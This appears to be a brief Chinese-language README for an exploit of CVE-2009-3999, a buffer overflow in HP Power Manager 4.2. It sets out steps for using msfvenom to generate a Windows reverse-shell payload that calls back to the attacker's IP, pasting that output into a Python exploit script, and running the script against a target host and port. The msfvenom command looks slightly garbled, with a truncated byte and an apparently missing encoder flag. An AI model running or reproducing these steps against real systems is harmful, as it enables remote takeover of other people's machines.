CVE-2009-3999

HP Power Manager 4.2 (Build 7) 漏洞利用
灵感来源于 https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3

步骤 1

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python

步骤 2

将 msfvenom 的输出复制到脚本中，移除 b
buf += b" 改为 buf += "
从第 34 行到第 62 行

步骤 3

sudo python3 ./hp_pm_exploit_p3.py RHOST RPORT LPORT
示例: sudo python3 ./hp_pm_exploit_p3.py 192.168.103.45 80 80